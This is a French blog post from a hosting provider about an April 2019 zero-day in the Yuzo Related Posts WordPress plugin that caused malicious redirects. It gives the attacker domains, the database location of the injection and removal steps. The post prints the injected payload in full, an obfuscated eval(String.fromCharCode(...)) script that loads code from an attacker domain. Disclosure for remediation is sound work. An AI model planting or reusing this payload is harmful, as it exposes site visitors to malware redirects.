10 avril 2019

Yuzo Related Posts Vulnérabilité et exploitation 0day dans la nature. Vulnérabilité WordPress du plugin de publication liée à Yuzo.

Print Friendly, PDF & Email

Il y a environ une heure, une page WordPress que nous gérons a commencé à rediriger vers des pages publicitaires/malware.

J'ai trouvé la source de la redirection, j'aimerais aider les autres personnes concernées et j'ai besoin d'aide pour trouver la vulnérabilité réelle et/ou un correctif.

La redirection se produit une fois le chargement du site terminé, je cherchais donc un extrait de code JavaScript sur la page et des redirections douteuses dans l'analyseur de réseau. Les redirections malveillantes évidentes étaient : hellofromhony.org, thebiggestfavoritemake.com, nnatrevaleur.tk.

J'ai pu localiser les redirections provenant de https://hellofromhony.org/counter qui est intégré via un extrait de code.

L'extrait a été intégré dans wp_options dans une entrée avec la clé 'yuzo_related_post_options' - plus spécifiquement intégrée dans l'option json 'yuzo_related_post_css_and_style' de l'option_value.

Cette option fait partie du plugin de publications associées Yuzō, qui a été interrompu il y a environ une semaine : https://wordpress.org/plugins/yuzo-related-post/

YUZO Related Posts vulnérabilités et correctifs

La suppression de ce plugin a immédiatement arrêté la redirection, je n'ai pas pu trouver d'autres traces de falsification du site.

Concrètement, il est bon de suivre les étapes suivantes pour sécuriser votre site :

- Supprimer / Désinstaller le plugin immédiatement.
- Dans votre base de données, accédez à wp_optionstable et recherchez la valeur yuzo_related_post_optionssupprimer cet enregistrement.
- Ne pas supprimer le tableau des visites wp_yuzoviews, cela n'affecte pas le problème.

L'extrait qui se trouvait dans option_value :

</style><script language=javascript>eval(String.fromCharCode(118, 97, 114, 32, 100, 100, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 118, 97, 114, 32, 101, 108, 101, 109, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 114, 101, 97, 116, 101, 69, 108, 101, 109, 101, 110, 116, 40, 100, 100, 41, 59, 32, 118, 97, 114, 32, 104, 104, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 57, 55, 44, 32, 49, 48, 48, 41, 59, 118, 97, 114, 32, 122, 122, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 50, 48, 44, 32, 49, 49, 54, 44, 32, 52, 55, 44, 32, 49, 48, 54, 44, 32, 57, 55, 44, 32, 49, 49, 56, 44, 32, 57, 55, 44, 32, 49, 49, 53, 44, 32, 57, 57, 44, 32, 49, 49, 52, 44, 32, 49, 48, 53, 44, 32, 49, 49, 50, 44, 32, 49, 49, 54, 41, 59, 101, 108, 101, 109, 46, 116, 121, 112, 101, 32, 61, 32, 122, 122, 59, 32, 101, 108, 101, 109, 46, 97, 115, 121, 110, 99, 32, 61, 32, 116, 114, 117, 101, 59, 101, 108, 101, 109, 46, 115, 114, 99, 32, 61, 32, 83, 116, 114, 105, 110, 103, 46, 102, 114, 111, 109, 67, 104, 97, 114, 67, 111, 100, 101, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 49, 48, 52, 44, 32, 49, 48, 49, 44, 32, 49, 48, 56, 44, 32, 49, 48, 56, 44, 32, 49, 49, 49, 44, 32, 49, 48, 50, 44, 32, 49, 49, 52, 44, 32, 49, 49, 49, 44, 32, 49, 48, 57, 44, 32, 49, 48, 52, 44, 32, 49, 49, 49, 44, 32, 49, 49, 48, 44, 32, 49, 50, 49, 44, 32, 52, 54, 44, 32, 49, 49, 49, 44, 32, 49, 49, 52, 44, 32, 49, 48, 51, 44, 32, 52, 55, 44, 32, 57, 57, 44, 32, 49, 49, 49, 44, 32, 49, 49, 55, 44, 32, 49, 49, 48, 44, 32, 49, 49, 54, 44, 32, 49, 48, 49, 44, 32, 49, 49, 52, 41, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 84, 97, 103, 78, 97, 109, 101, 40, 104, 104, 41, 91, 48, 93, 46, 97, 112, 112, 101, 110, 100, 67, 104, 105, 108, 100, 40, 101, 108, 101, 109, 41, 59));</script>

Un correctif rapide apparaît lors de la suppression du plug-in, je souhaite approfondir pour m'assurer qu'il n'y a pas d'accès à la base de données, au backend et à l'espace Web.

Si vous aussi vous êtes victime de cette attaque et n'êtes pas en mesure de résoudre ce problème par vous-même, veuillez demander notre aide via le service de Suppression des logiciels malveillants et des virus WordPress.

Mise à jour des articles liés à Yuzo bientôt

Comme communiqué par l'auteur du plugin, une mise à jour du plugin sera publiée sous peu bien que le plugin ait cessé il y a exactement quelques jours en mars 2019. Il ne reste plus qu'à effectuer les étapes ci-dessus et attendre la nouvelle version.

Vous avez des doutes ? Vous ne savez pas par où commencer ? Contactez-nous


Nous avons toutes les réponses à vos questions pour vous aider à faire le bon choix.

Discute avec nous

Discutez directement avec notre support avant-vente.

0256569681

Contactez-nous par téléphone pendant les heures de bureau 9h30 - 19h30

Contactez-nous en ligne

Ouvrez une demande directement dans l'espace contact.

INFORMATIONS

ManagedServer.it est le premier fournisseur italien de solutions d'hébergement hautes performances. Notre modèle d'abonnement est abordable et prévisible, afin que les clients puissent accéder à nos technologies d'hébergement fiables, à nos serveurs dédiés et au cloud. ManagedServer.it offre également d'excellents services d'assistance et de conseil sur l'hébergement des principaux CMS Open Source tels que WordPress, WooCommerce, Drupal, Prestashop, Magento.

haut